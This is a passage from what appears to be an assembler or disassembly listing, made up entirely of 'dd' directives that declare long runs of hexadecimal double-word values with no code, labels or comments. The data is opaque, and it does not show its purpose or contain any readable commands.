		dd 8C3A4AB0h, 520020B4h, 0D2BE0F2Ah, 5E0B2945h,	0D6DE07E8h
		dd 0F5115B6Ah, 0F15DB920h, 0AD01324Ah, 0EAEC409Dh, 0C2DAA031h
		dd 77A29E45h, 0D450B4E4h, 0C206C99Bh, 7466575Eh, 37BC4E10h
		dd 2645B508h, 0EDCEB697h, 0C9AA6244h, 2900461Fh, 0AE5F207Fh
		dd 0ACA4DCA7h, 0C79FBD8Bh, 0A137D59Bh, 3B88A75Eh, 2452D47Dh
		dd 1EC6529Dh, 47B70AE4h, 2315643Bh, 0EFEE79B2h,	83E47DEEh
		dd 8932859Dh, 7DDEEC8Fh, 0A186AEEBh, 8BAED5D9h,	364BDED5h
		dd 0CE6E7B20h, 0E9D91B71h, 4FA463E8h, 8A03A052h, 64B49057h
		dd 0F5B8C653h, 0AABEFAF7h, 0A811BCAh, 7861B696h, 393DA3F2h
		dd 271F5269h, 0AA95D29Dh, 55495DA2h, 0E97B3AD8h, 111F562h
		dd 4C1895A7h, 0D0040D1Dh, 0EDA8CED6h, 5AC0903Eh, 6BE83B59h
		dd 5D5C61E4h, 64D44289h, 5CA6AA7Fh, 0C66FFDAFh,	1C2ABE6Dh
		dd 4D971D0Bh, 265F6504h, 9566A0B7h, 0F9E5180Ch,	0F5D155E0h
		dd 3EA402A2h, 57EFC982h, 0D108B3E3h, 0E0AB3396h, 0B78B3BCh
		dd 981155FDh, 64E97387h, 0E63D05E5h, 169151F5h,	0EA245229h
		dd 0E2D5772Fh, 0F61E589h, 4CAE5E98h, 0CF22993Ch, 0FFE74996h
		dd 2FE28E8Eh, 94F2AD01h, 0DF767D87h, 3C24C7E3h,	0E2E0F55Ah
		dd 2A24A519h, 41460CABh, 5EC78AC3h, 59B686D4h, 87BA723Dh
		dd 16CBB90Bh, 0D6B7F4BBh, 409F0175h, 6055E3Bh, 0C38AE475h
		dd 23F90DE1h, 0BC82F9A5h, 0F632A05Ah, 46F1A9EBh, 0F29CB60Dh
		dd 94B85C02h, 84CFCD1h,	0D2C4B436h, 34A458DDh, 5839ED69h
		dd 0ED516A05h, 9F957334h, 0FD17ED22h, 60E44379h, 5AE5CE33h
		dd 0EFB68DBBh, 6A5029B2h, 28BEB1CDh, 540583BBh,	0E8A23947h
		dd 0A1DBCDC2h, 7D18D220h, 7DDBF5AEh, 0BD2D6F94h, 4E674991h
		dd 625C2641h, 0DF1B9631h, 518DDAB7h, 64789B83h,	0F497ED8h
		dd 5FDEF828h, 3012569Ch, 0E28E38EDh, 1E9557FDh,	20E702CFh
		dd 5A7A421Fh, 0F607C85Ah, 7BDCA1F8h, 0A7BB64A9h, 0D65FF5C3h
		dd 29EDA4C7h, 0AEBE0537h, 105AB77Eh, 0A25FB692h, 7F4FEA87h
		dd 0C8359F5Bh, 9BA3CAA8h, 79CBA0D9h, 8AF3A261h,	6E3AC682h
		dd 0E275CBB0h, 0A666CCE8h, 2D80BB07h, 0F9910AC2h, 5A928312h
		dd 1294C503h, 703EAEC8h, 0E78DDD4Ah, 2BE2F1C1h,	63FA5C1Eh
		dd 67D4B1A1h, 243F12D1h, 0D1F79011h, 0F1965BC9h, 0DEDBA6C0h
		dd 0C3F85556h, 3A60C6CDh, 6933869Ah, 4B264AE9h,	20F07CF0h
		dd 0FFE31E0Dh, 41AB799Fh, 28B61B07h, 0BF261CB4h, 9E82482Fh
		dd 0FFB00FE4h, 220BC98Fh, 97FC786Eh, 0E86B971Ch, 2B74FE38h
		dd 63B370F9h, 3064D592h, 6EE56EB8h, 447565EAh, 8A5908A4h
		dd 0CCE6FBECh, 1E75D5D2h, 555EE872h, 85E20661h,	0C950440Dh
		dd 3E8DF84h, 0D202A757h, 0E2F61C88h, 0FC39834Ch, 0DA744540h
		dd 3F593946h, 80952866h, 5530CC73h, 0FCF7FFDFh,	0C182B091h
		dd 0A3C1E2B1h, 0D98A6005h, 0A7C324D2h, 55BA3DBDh, 0EE4DA4DCh
		dd 0E400AEB9h, 0AFC9F9FEh, 0DE205880h, 0CCDB0630h, 3204CE24h
		dd 367C6A5Eh, 12ECD61Dh, 5330088Eh, 0AB472F26h,	0BD449E90h
		dd 0EE7FC856h, 7503F514h, 42C2E33Fh, 23C1930Ch,	84F54A4h
		dd 0D9DDD51Eh, 2C1D5A4Dh, 0C41A73A2h, 60E7BA98h, 674CDD6Ch
		dd 236F6AF2h, 1513B1E6h, 0DD81080Ch, 98F18191h,	0D588FDC2h
		dd 2E96934Fh, 0D3E1DA90h, 0E75B9D32h, 0AB401CFFh, 64FB47F7h
		dd 2879202Ch, 52CBCECBh, 39A6BF25h, 53ACD59Bh, 3BD2CD47h
		dd 492EFAEh, 5B2045C9h,	7AEE1172h, 0AFEDD021h, 71048044h
		dd 0CFA64304h, 0EBA81CABh, 0C8EEA459h, 0AEA08BCEh, 0BEFE90FAh
		dd 0CC6BFEEAh, 467C0CAAh, 0F23B705Eh, 2663ED2Eh, 452A4BCAh
		dd 2DADE8Dh, 0C38DE2FFh, 0A06B64BDh, 9DA71DA2h,	0B9C356F3h
		dd 6DBD96E3h, 419955FAh, 49C896D8h, 0A0A40835h,	0EBE75FC4h
		dd 28007A9Dh, 7F31C897h, 557D280Eh, 0FA3822A1h,	799CC79Ah
		dd 70D061B5h, 3103EDA4h, 4B04E0D9h, 0EE0CBD6Bh,	1D3E43CAh
		dd 5696FEBDh, 24791065h, 961F9960h, 2AC08C8Ch, 0D801DEDCh
		dd 2C395164h, 0D277B165h, 926B8CABh, 0D1499C5Eh, 477DCC3Fh
		dd 8542D6F9h, 86749784h, 0C4C5C2AAh, 531C220h, 2FC6C8B4h
		dd 0B3FF89D7h, 0FBDAB8F5h, 76AEA4DAh, 63E66537h, 83EA3C05h
		dd 0F825FA27h, 0B2DDA4E2h, 76AFB58Fh, 0CE5BB494h, 0C145B009h
		dd 2FD31DE9h, 0C697BB21h, 0EBFB8693h, 10357E4Dh, 4B38B6D0h
		dd 82BAAD16h, 0E8987450h, 0C1309437h, 7D014E6Dh, 7A43048Eh
		dd 0CF5BED78h, 29018DFAh, 1A791886h, 53D82BE5h,	5D7BC016h
		dd 729CED4Eh, 470A31EDh, 97515EB3h, 6C8C0921h, 7AD6DA25h
		dd 78FB49B8h, 30E9BD07h, 0F8331563h, 0BBD3F81Dh, 308D40E7h
		dd 0E5217EAEh, 1F79F2C5h, 0D96D92C5h, 7FA5BEE1h, 75F8D3FCh
		dd 0F57DB882h, 0ED8B11EAh, 57E5B6Fh, 6E9BC80Fh,	0D0EA39F9h
		dd 0F8C83481h, 0C2BF719Eh, 25DE649h, 769CD8B4h,	0BB693E29h
		dd 8A5C5382h, 2B5C110Dh, 8CCFF6BCh, 61FC070Dh, 0F043B6B9h
		dd 7D5EEF28h, 6B5084F0h, 0C3681A9Eh, 0FC0D4D51h, 17FA363Ch
		dd 0C350F75Ah, 446FAE56h, 21BFB3ECh, 696E09B0h,	5A129E7Dh
		dd 6F9C29C8h, 0BB14CDDFh, 0B4FA8F0Fh, 0D98EBD2Fh, 5EA30D3Eh
		dd 3A2298D4h, 0C7D7FAE1h, 0C469C027h, 264162CDh, 88FCC94h
		dd 394B24C2h, 5394A4BAh, 0BC868573h, 485DBC8Ah,	537B6039h
		dd 0D61B56C3h, 3EB0FD03h, 0BC832563h, 55A45F64h, 66250BE1h
		dd 141A0A71h, 68C4595Ah, 38E4C78Fh, 0A93ADB00h,	9390919Ch
		dd 0A56466BBh, 5B5252A7h, 7CA1A121h, 0AEB05347h, 52E307BCh
		dd 4071E491h, 9897428Eh, 98D4F63Bh, 0EB844C03h,	46175ACh
		dd 0E6941D31h, 0D89DD15Fh, 0DAE00D56h, 0B62B7C11h, 61907772h
		dd 1199FCE0h, 0F2CC0298h, 0E077B40Fh, 5FD633F9h, 25C5AFD8h
		dd 0FD2F092Ch, 524915A2h, 32D02188h, 0D483727Bh, 0D84C3F9Dh
		dd 2A04739Ah, 0DE62ECEDh, 0D3566A85h, 1031E18h,	4F372A04h
		dd 255E486Ch, 0CE999397h
		dd 0A9346973h, 0EB6D27C9h, 0FCC00066h, 786AB256h, 4175AB73h
		dd 385C8936h, 6E9FF15Eh, 88ECB7Eh, 8B04B8DDh, 83D50DA2h
		dd 0B31DC2FAh, 4423D244h, 604651B5h, 0AC959238h, 0A60D3BCAh
		dd 38484A45h, 53EE8E50h, 0B7D97DA3h, 7D9E7500h,	5EEB8A9Dh
		dd 0DD34F9Fh, 9D0E800Bh, 7A3B809h, 0F3F29BC7h, 0DB2A1ACEh
		dd 0F680324Bh, 862D3832h, 0A5191D45h, 5102C182h, 56C5E0DDh
		dd 0C8DFF25Ch, 0E3A594D0h, 93F7C5D3h, 6E56AAA7h, 88B2BF27h
		dd 6910555h, 448DD2E1h,	0D37B8310h, 0BE2FB0h, 0B99A1ECCh
		dd 0DDBBF95Fh, 73192FECh, 0C7AB1EC8h, 418F0DC3h, 0D4BD0DD5h
		dd 8D510822h, 8CE58FA9h, 0D39D004Dh, 0AE4982B8h, 0A0632452h
		dd 49DACD60h, 0BC5DE00Dh, 580EFF17h, 85FC698Eh,	0AF3CBE0Eh
		dd 110718B3h, 4D6773E4h, 77C267EDh, 847445DAh, 34D8DE05h
		dd 0D1EDC46Ch, 0EB334160h, 15BD05B0h, 4DA6AE96h, 67EC093Fh
		dd 0F8A5A84Bh, 0D449F2B2h, 87021E42h, 1658164Dh, 6F1B283h
		dd 24EDE018h, 0DF7FE7F5h, 78AD7A4Bh, 9E71723h, 1B37B07h
		dd 994106A3h, 0A45E2E15h, 66A2F583h, 0C3CC4619h, 9635CFEDh
		dd 95E8FAC4h, 2B186A32h, 0DA5C79B8h, 34FE5023h,	7FE139B6h
		dd 505CCF1Fh, 32FE68Dh,	0BC2A44D0h, 6C6A4AD4h, 0C97FA129h
		dd 0FB862804h, 453E1D9Ah, 549FFCEEh, 77EBB627h,	852B6FA4h
		dd 11CE736Ah, 245BEFA2h, 0C9DC42B4h, 0A0F77F59h, 0D4A47504h
		dd 71343F98h, 0DD8E126Fh, 5AD0BD90h, 0CED3FEEEh, 0E874610Bh
		dd 8823C4B3h, 65159243h, 22408A1Dh, 0BB26AAF1h,	0C4349BB2h
		dd 3DC279F3h, 5845077Eh, 7FB53311h, 6D0B7389h, 65D1065Ah
		dd 0A1E01368h, 6BD35E5Bh, 4B76EA11h, 38A92CBh, 0A883CACh
		dd 292C32B2h, 0FD732DFCh, 8B400CE3h, 6BE2DA6Ah,	0A191EE53h
		dd 4A082490h, 0E2C4C0C4h, 0C590B23h, 941DF6C4h,	6F5ECDFFh
		dd 9F79498h, 4EB80FDBh,	0F17C286Eh, 0FD7E9BDCh,	3EE22412h
		dd 59485055h, 0E9FFBC5Dh, 0AEE3732Eh, 31277AF6h, 0BA7982B9h
		dd 0B040E085h, 8F95852Dh, 0B1BDB29h, 0E1427BFDh, 0CABE3F6Ah
		dd 0DB6361D3h, 0F8DD27F2h, 8BB3EF63h, 5FC227F4h, 0AA2E4AF0h
		dd 109183C3h, 6D41E69Fh, 4A3FECCAh, 0EB22912Eh,	999403E7h
		dd 37337295h, 9F388FEBh, 5CB0B416h, 0EFA43F6Ah,	0D6759C0Ah
		dd 10E386Ch, 62CF0F9Eh,	9268789Dh, 811BDFF1h, 0B21D8DA6h
		dd 5AA3D694h, 85BE214Eh, 0AB06CE09h, 36427E15h,	574D4E4Dh
		dd 929BF00Eh, 7CA7EDBEh, 9AAF3264h, 62FA71B9h, 0D7464C0Fh
		dd 0C9146D6h, 499BBACFh, 80AD799Dh, 1F0D3FE3h, 0C39BA234h
		dd 6C71D5Ah, 39CB72F7h,	0DB3D644Bh, 3740F047h, 0C0C6A3D4h
		dd 10C5A5EEh, 0A258323Eh, 123B3F1h, 7A8829AEh, 0FE7A79D8h
		dd 7A997A1Dh, 6321FBF4h, 4A362F3h, 0DB574108h, 0B824E857h
		dd 4C5EB203h, 0E115CBC9h, 0EA8C75BEh, 0D1669BD2h, 5BFFD9C6h
		dd 0D9CE235Ch, 5A036A5Fh, 0F59370D3h, 33AE19DFh, 32AB2E61h
		dd 0B2984AF5h, 3332650Bh, 9B417F8Ch, 1F13D2ACh,	0E5D26097h
		dd 0CC1EE10Eh, 0A2393BFFh, 553D79A5h, 0DC96EBAEh, 26E6D8B4h
		dd 0D0CB75A9h, 0AD786DD1h, 386E0777h, 38E8D66Dh, 0C0EEF21Ch
		dd 430362EEh, 6124CFADh, 83B4C8C9h, 3F08BA83h, 68040E40h
		dd 0D645697Ah, 8A5E6B55h, 6FB2412Ah, 72BAEA21h,	4A428896h
		dd 0A180B9B9h, 551A48D1h, 686C59DBh, 85981D6Bh,	57AA6E04h
		dd 0B3AC2628h, 6EB3598Ch, 14BD478Dh, 96DC1710h,	68745ECh
		dd 0A393F516h, 9490BE80h, 7A046E4Dh, 3AB28FD6h,	5C086FDAh
		dd 17DAE80Fh, 60F37775h, 0EC44BC68h, 8A4BCE03h,	0FF841873h
		dd 1C4BC2F6h, 9ECF2EE8h, 0B0F825C8h, 621C44E4h,	219046BEh
		dd 0D1714C2Eh, 0B93AAD7Dh, 6897B590h, 6A4939D5h, 5D2C802Ch
		dd 2F276DA0h, 3E0F171Ah, 1E403E2h, 746CFEFCh, 81A5E422h
		dd 2F0F0949h, 38D88071h, 84B6D6A2h, 0E385550Fh,	67D4B8E3h
		dd 0F1FF6F08h, 5F558480h, 0ECCDAA2Ch, 29918961h, 92911E9Ch
		dd 0A64C8748h, 0D06A7710h, 0E58B614Eh, 0C6B3A70Fh, 790519AAh
		dd 0D74B034Dh, 98F778EDh, 729FDDFFh, 385E753Ch,	24DA5939h
		dd 0A7276767h, 4C52BA0Ah, 0EC209FF0h, 70D71FE2h, 0CE86271Ch
		dd 0B218A8AAh, 2B06CF89h, 32F1292Eh, 5E6ECC19h,	7EAF4A64h
		dd 9A00718Bh, 0CFEDC02Ah, 1062EE4h, 55A35F5Ah, 3CC150F6h
		dd 0CACCA360h, 0CC4FB2ADh, 0F4A099EFh, 0C94B9497h, 6FFE2496h
		dd 3CBBCE45h, 0C2DF1639h, 0FFBAD145h, 4541E101h, 3FDF8CDAh
		dd 67E2A657h, 3A62C301h, 0CF0AB932h, 0CACA3132h, 6BFCE0ECh
		dd 0E6CDB895h, 0D2EF955Ch, 0E3859FEAh, 581BF00Fh, 0FDB13D43h
		dd 500DB450h, 598AD9BCh, 29839FE7h, 85683F53h, 789F7952h
		dd 9990B59Bh, 0C039FCBAh, 0A956AEFAh, 4E728939h, 0AC581181h
		dd 1E5D1C98h, 76257C0Ch, 0AAAF62BBh, 0BBBEC038h, 828185CDh
		dd 511676ABh, 0BA55F1FCh, 5B809EBFh, 8227E48Eh,	795EAC56h
		dd 2B878B18h, 0AD5E9354h, 0BA35AC4Eh, 0C97590D6h, 3988E023h
		dd 0A18E2D9Ah, 0BC0B1268h, 116741Fh, 6D3D5476h,	2C9AA950h
		dd 0D57CE94h, 0D12E8038h, 34E2B298h, 0F41710D4h, 0AE3E1597h
		dd 0AFC29AD4h, 4ED2FE93h, 3AADC9CAh, 0C2C7D7D2h, 8EC730D9h
		dd 35FC7EF7h, 302C3ABEh, 0E3D00035h, 9E733641h,	2CA6BE09h
		dd 0B3FF1ADFh, 93A1AF20h, 46BFA47Bh, 6278CFF9h,	6BA17C2Bh
		dd 88066B7Ch, 8228CDAh,	66515865h, 9E04E7AAh, 51D10675h
		dd 13DE347h, 0E04C97D4h, 0DBC1549h, 7DC9462Dh, 0BE10BC5h
		dd 0D3ACF49h, 24A4C8ACh, 3E871BF1h, 0CF662B1Ch,	0E19A2D87h
		dd 0B5D0EB5Ah, 0F37BE99h, 0D922525Bh, 0ABB0A9DEh, 54644E32h
		dd 3FE99313h, 8C42C1E8h, 6DC054EEh, 0E5B66FA7h,	35030243h
		dd 226AA017h, 0A03FB337h, 0BA96A80h, 9DE61A9Fh,	0C57FAD87h
		dd 0F8632193h, 2E49A87Ah, 6F44999h, 0C23554EEh,	0F54CBBF3h
		dd 947D4A10h, 79029F5Fh, 0A02A5773h, 96FE03F4h,	0F0CCDDCh
		dd 8D45224Ch, 437A437Bh, 59330F81h, 880DEEF2h, 3D1F7F5Ch
		dd 5F8443F2h, 0ED49EA2Fh, 25E39398h, 6992810Eh,	0F7E50D8Ah
		dd 0E513AE5Bh, 7672E3ABh, 0C7E02159h, 289A84F1h, 0AF6066F4h
		dd 25953FBAh, 0B072B2D4h, 0ACF1B2A9h, 78960D04h, 0E8C24C43h
		dd 4F8C5D16h, 0E4B0A870h, 0CCFAAAA3h, 3568F542h, 322772C3h
		dd 0DB5448AEh, 7DC1E548h, 63419B9Bh, 82C9B2D1h,	8F4AE3B0h
		dd 33B34951h, 0F9DBDE2Fh, 0E7292CCAh, 0E6C2F25Dh, 0E1C6BBAFh
		dd 6CA9019Ah, 1D43C716h, 74774A40h, 0FF0678Ch, 0BEC709B0h
		dd 2CF84BC5h, 2B732F38h, 888CFDD8h, 0A3FE6BA4h,	881C3541h
		dd 1B7D896Eh, 0EC6ABE39h, 6C0106ADh, 0FA2D890Bh, 430521E2h
		dd 52DC257h, 939B57A0h,	9B2CEB03h, 9EE350A4h, 895BC7E8h
		dd 9A29FE49h, 0FC42EDBDh, 0F7387D51h, 0FE2CF218h, 21212B5Dh
		dd 301615CDh, 0E60FB4C0h, 51666E7Fh, 2F010A39h,	0E8CDAC3Ah
		dd 180972F9h, 0D399E796h, 9677A7B3h, 1C848A01h,	17B486C4h
		dd 0A70F2862h, 0CEAC4014h, 0B1B85945h, 0C855265Ch, 1905328Eh
		dd 8691C16Bh, 0F7715945h, 9AAE41CDh, 0A7DFE76Ch, 0BE2A6B4Fh
		dd 1B56F4D5h, 734CFCFEh, 0FD540608h, 0F1C1454Eh, 30A83F33h
		dd 88D43577h, 0EFB29B5Fh, 0CF5FA33Ah, 0B4ECF779h, 0E873ABE8h
		dd 7A623102h, 0E7517062h, 3D95A04Dh, 2EBF3039h,	727B3B68h
		dd 0CD0DCE1h, 98C7EC4h,	0ED13AD8Ah, 4232E91Eh, 0F4802B08h
		dd 0EB31F895h, 5189F1E2h
		dd 4727315h, 41D8B2FBh,	5B9F268Eh, 1B3C98DCh, 0CF0A4AB8h
		dd 0BB321776h, 83F97324h, 791AB47Dh, 5799E699h,	0C434FF59h
		dd 0B563ABFBh, 3CFC86B9h, 9013B2A3h, 1A885010h,	5E2B18FFh
		dd 0CECB6BCDh, 20B6EA50h, 0EF0E7677h, 2D53E600h, 7940C1D0h
		dd 3DF1EDA0h, 0A55C1BEDh, 3760D61Bh, 41B081A2h,	624EA9CCh
		dd 2A54B65Dh, 56604FBCh, 37EF785Ch, 0F5514BAEh,	0A8202DBDh
		dd 0B1A247DCh, 0A344B7CEh, 88CA460Ah, 0A9D4EE4Bh, 9B5F6D16h
		dd 0BAF93h, 1F98AE52h, 63326EE7h, 0D290A602h, 0AF10FFABh
		dd 5039FAAEh, 762C3AEAh, 51A31C99h, 0E52909B7h,	71332D5h
		dd 1A07B0DBh, 76DB26Ch,	4CFEB165h, 12BCA7C4h, 0DDA27E8Ah
		dd 4A02AB1Ch, 44A1906Fh, 16BC3188h, 70269E18h, 0D47EC605h
		dd 87A8E6F4h, 0EA8312ABh, 6B534E70h, 3B7C3925h,	0DA058615h
		dd 23A38661h, 5946E005h, 4F215F20h, 80EF69A7h, 67291E37h
		dd 0A9A47568h, 0EE39E946h, 0CBDB7B3Bh, 0A8CFA631h, 0F10F89B4h
		dd 0ED10020Bh, 292B48FAh, 0BF3DEAA3h, 0F5498DCh, 8A3CC02Eh
		dd 0E478C407h, 4F371496h, 9C729BA9h, 8E623F82h,	8A52031Fh
		dd 617F4257h, 114F7CD0h, 7FF58FDAh, 1BD74CAAh, 6D9A1A8Fh
		dd 4C681D06h, 484723F6h, 0AC8818F9h, 0C2447E75h, 1C08D3D1h
		dd 14688B04h, 5E04C84Ah, 0A6F4DD23h, 0A963BB8Ch, 0B3EDD323h
		dd 4EAC412Ah, 0CA416B5Eh, 0ADC7393Bh, 38D095D0h, 0EFE1A94Fh
		dd 0C8B01BC5h, 9FB1601Ah, 0BEFB181Ah, 143A46F0h, 0D2A4AF8Fh
		dd 0B48DE83Dh, 0D70390D3h, 0EC2BA7BEh, 9003CC40h, 7E7CE35Dh
		dd 0D26A1947h, 2904A6EBh, 0EA15BE73h, 0E2104130h, 9199452Ah
		dd 9B12D454h, 95806A99h, 6A189858h, 10ED89E7h, 0D834FFCDh
		dd 0A85EB291h, 0FC52B7DEh, 0FB3B34F4h, 0BACDE217h, 0F5EE88AAh
		dd 0FE28E4h, 10A7071Eh,	0D4EC9B97h, 5BC82E5Fh, 0D28A7C85h
		dd 16A2109Bh, 0EAD38E4Fh, 4C6B849h, 0F651EFF2h,	9393F9C2h
		dd 0CB916C4h, 4A7AB555h, 0C0658307h, 80ED3F47h,	7B6803F4h
		dd 0CE44DA91h, 0B65B911Ch, 60D2A1D5h, 5BAD9264h, 19C55BB1h
		dd 98ED6A93h, 7BB92938h, 5CC722AAh, 78596E1Bh, 7143D9BEh
		dd 0DEAE0544h, 0A9B9E169h, 97F1B453h, 0F8A0B348h, 0BA29ADE2h
		dd 0F5823F6Dh, 34F7AB6Ch, 0A40484F6h, 1D018BEAh, 9AAAC050h
		dd 0FAEA9FC7h, 7F1A7A97h, 0E1C69FF6h, 9100FD2Ch, 1A8CB886h
		dd 3758F8B9h, 30FD315Ah, 4B8ECC42h, 84E4395Ah, 6A855C71h
		dd 0B1E16976h, 1FB2DD0Fh, 81728C17h, 39E7A1DFh,	50078D1Bh
		dd 0DAA4111Ah, 831DBD6Bh, 30870C02h, 6ACA7468h,	9EB62195h
		dd 390FB9D2h, 1D02CFDFh, 0D83BB155h, 82641F79h,	4FA7152Dh
		dd 0A26345BDh, 1CDEBC49h, 448C6EA5h, 0B2F70984h, 300FE615h
		dd 8C8519D4h, 5BD76887h, 0CD2CCCEAh, 0CD0FA699h, 0DB32CBD8h
		dd 46FCFEA1h, 79751D99h, 44241198h, 0B9608830h,	963B55D1h
		dd 0DC95BD49h, 7AFA1EA0h, 1996116Fh, 0B9A82EE0h, 0CCB1AB86h
		dd 120BCB69h, 7CA6C3C6h, 73361C73h, 2DD54F29h, 0DEB446ABh
		dd 85A2E737h, 0EF6FBCFEh, 0FEB13C0Ch, 0D34EE7A0h, 3CF517E5h
		dd 0DB1DB894h, 4E76C0AFh, 1F711578h, 0A9080EB7h, 59E90345h
		dd 6A240102h, 0CD035945h, 4A39E654h, 0AB6386E8h, 28FB3A90h
		dd 907349C6h, 7A7DAD83h, 1A3C49A4h, 6E30F2DAh, 8DBEF8h
		dd 0EFFFE5B0h, 0DBD09F6Bh, 3672635Eh, 50956F1Ah, 5C35110Eh
		dd 0BEDDCCA7h, 85627B6Ch, 0E4965157h, 0AE7F9E22h, 174931CCh
		dd 734D627Eh, 861A0AE1h, 558C6A76h, 2395CD69h, 829D760Ch
		dd 0A349EBDh, 0CC08D82Eh, 89B76532h, 93EBF5Ah, 5CA7875h
		dd 87B173C3h, 8D61625Ch, 253CD58Dh, 0CE22C72Bh,	0E9F98FA7h
		dd 0B380AF53h, 934FC9E5h, 0CD81E01Eh, 0F8BF34A0h, 239D22FAh
		dd 99F35E84h, 731D3924h, 0E820A060h, 6767901Ch,	459F3667h
		dd 9411808Ah, 993F56AEh, 92F22089h, 0D0276737h,	0E1D4FE25h
		dd 0AC5812F7h, 15B96540h, 8497721Ah, 2CF8E15Ch,	2E3A1811h
		dd 6A924612h, 0AFDAFD7h, 6E3EDF9h, 164A9942h, 2EEA8979h
		dd 4E368093h, 0F937E2C5h, 0C586698Dh, 0B7D85F0Dh, 4F853CC0h
		dd 0C1BB1347h, 4792AEAAh, 47365BD1h, 4A36141Ah,	46F76B8Ch
		dd 26321388h, 61B8C1E3h, 48959BDBh, 830B6D02h, 8C1946DAh
		dd 4326ED25h, 0CE5331C0h, 0D61FEDB5h, 84165E8Ah, 0D958CF9Dh
		dd 0FC8FC606h, 9911385Eh, 3426170Eh, 0E695C4C0h, 73F15D32h
		dd 0BBE6592Fh, 3B73A9E4h, 613DDAEBh, 2E23F1D9h,	0AD7262FAh
		dd 0D9BA90DBh, 9422D905h, 8B405640h, 0A5EE8DAAh, 61A13729h
		dd 8D7198EBh, 8A5A5468h, 2F9A89E2h, 1F3D5A9Ch, 0CA625C4Bh
		dd 87F13E84h, 0C67BEEA7h, 545F4B60h, 26711A8Eh,	0F432FBC1h
		dd 23D1501h, 0ACA0EFDBh, 517DF9EEh, 8227CD60h, 9B4070AFh
		dd 0C35D07ADh, 8AF51BC3h, 0FDA6A5F6h, 14A4E690h, 0BE0B72DBh
		dd 3A908568h, 4E3C0173h, 0B62A3891h, 4E5A665Bh,	441CBA9Eh
		dd 28438157h, 0EBAD229Dh, 3B601AD8h, 0EBB1C375h, 4160B089h
		dd 8869E5EEh, 55BD7513h, 9E487045h, 3ED8B4h, 875881B5h
		dd 0CB989FECh, 0A639546h, 353F0FBDh, 0EE2D3ABDh, 1391E382h
		dd 8E45FDD3h, 99397FEh,	19711673h, 0D6B59BC2h, 342265A4h
		dd 0F5854252h, 6D7682B6h, 8E67D9E7h, 81F77D69h,	5BF20719h
		dd 14C55322h, 3BBA0AE9h, 0FF1BC2FCh, 0C2EC87DFh, 0B276BA86h
		dd 0AEFB61F0h, 0AEB71862h, 1784F7ADh, 859851E2h, 5EC38019h
		dd 7F2455F8h, 0BC4AA3CDh, 0A0BF8C6Bh, 78225EE2h, 15AA6652h
		dd 0E7B99430h, 0BC9358A2h, 8A902057h, 13B8AAB7h, 0B7A8385Fh
		dd 0C195DCCAh, 0E7D5EA59h, 93299495h, 0E1109390h, 0E4092B4Ah
		dd 7257D5B3h, 6A7F931Ch, 45A651D7h, 6EB20B38h, 2E4E8E56h
		dd 0AA180A12h, 5027B470h, 366B3252h, 20367ECh, 3CAC4C6Ah
		dd 5BDA99A9h, 3F8D17EDh, 3FE3175Fh, 43CFB9A3h, 38CF89D5h
		dd 0DD0A1F8Ch, 59B2DA6h, 11F4B170h, 7B3AACBAh, 153CB8C4h
		dd 8578FB8Ah, 0E831FEA7h, 8DD24C79h, 58187BCCh,	0D0F03E0Bh
		dd 8BC3EED7h, 0CEA2C146h, 2F10244Bh, 10CBC36Ah,	85EE6ED0h
		dd 822D503h, 0CFAAB387h, 57059A2Eh, 0A6B3DAFEh,	12284B2Fh
		dd 5F2E4851h, 1B16064Bh, 7026F544h, 0F6ACA82Ch,	0DF454853h
		dd 3946A5F7h, 76BC60A2h, 55399C8Bh, 9983CE5Ch, 155477A4h
		dd 0F65BD668h, 4421231Dh, 59D1A4B9h, 5085C9BCh,	0C3DB0002h
		dd 766BD884h, 0AEB9AA67h, 947EE492h, 0FC5C3C41h, 0AFFFDA03h
		dd 1C9C16B2h, 0D3E24046h, 4A327307h, 80604049h,	0ED838E85h
		dd 42AFF03h, 746EBF80h,	0B817AABCh, 734E8727h, 0E3E1096Ch
		dd 0A6005181h, 0E38AC5Bh, 0B4BC7380h, 0D4465288h, 0FE8EE3Ah
		dd 51B6546Ah, 0B1C331EBh, 7FD880F3h, 84C75E9Fh,	8F3D7BFAh
		dd 5B1C2DDDh, 98A8D80Dh, 0B752CCD2h, 582F6091h,	765C8422h
		dd 7D088498h, 0A35AE4ADh, 73074C62h, 0A5C5B2F0h, 0F46E565Fh
		dd 0B99A9FC1h, 0E6591844h, 6C2649A4h, 86C0F201h, 0DDA4D30Ah
		dd 670A9A26h, 0B91B146Ch, 4580789Eh, 0BE97BE85h, 1EE68498h
		dd 15BAA525h, 370E222Bh, 0A72A8253h, 93142AEh, 0B9434DDAh
		dd 1F91DF44h, 1F250CFBh, 9CC8D174h, 24EEEA4Dh, 0C5BEF968h
		dd 933117EAh, 78DE1E52h, 8659F382h, 58633325h, 0A62DBC94h
		dd 68B68EF8h, 0A4D34A88h, 0A9137EACh, 0CB5DF4C3h, 37E7ECDDh
		dd 0CAEFEEC6h, 87C2746Eh, 488619D2h, 0ABC5D5BEh, 53AB311Dh
		dd 0A6C7298h, 4981C548h
		dd 3BAA476Eh, 0C567C24h, 8C9545BFh, 38940411h, 0C4B0F848h
		dd 0D4A59FB5h, 0EA20A1FCh, 0E80B6888h, 76DC40B7h, 0D8316455h
		dd 0B7C16F97h, 0DE5E29B9h, 8B8AB513h, 2AE1311Fh, 0BBC761C0h
		dd 8575677Dh, 6AA1CB96h, 0FB956D51h, 791B8058h,	6570F4E2h
		dd 0EE7E54BAh, 0BE93C202h, 3B1655A2h, 0BD51CA31h, 5BDBEA17h
		dd 0A6260537h, 0D9E4835Fh, 0C530F357h, 8C49A3C3h, 65F94C16h
		dd 8B4F48B9h, 1DDE796Ch, 0E8581CF0h, 84C381A9h,	2BAB2E5Ch
		dd 0DB68F9C7h, 566F8582h, 88C77D63h, 0BAB08F3h,	82E21090h
		dd 0C2FE396h, 0B07F41EDh, 152BC9B0h, 0BC5A5315h, 0FCFF0ED7h
		dd 4C627133h, 20E28B11h, 0CE32D333h, 0A777F5EEh, 0C515A191h
		dd 2A5A134Dh, 2A64B2B8h, 4A7B1B16h, 602D071Fh, 0DB570133h
		dd 0A68E4DD4h, 81B60CF5h, 630868B9h, 0E2FCD88Bh, 5B932174h
		dd 3EBFAF50h, 4CB13946h, 1DCC2FF5h, 925710D9h, 47CAB21Eh
		dd 0CE06FC8h, 1E0A2119h, 89B30987h, 7D2FD7F6h, 69CE1E21h
		dd 0F1A92186h, 0DA508FBAh, 0A3918378h, 969D03DEh, 83F9DCF7h
		dd 7B92F3EFh, 0C64DC590h, 842A2C5Ch, 0E8063F4Ch, 0C141833Ah
		dd 829C61FFh, 801ECDD5h, 2229EF42h, 0BFB1A227h,	6240ADDCh
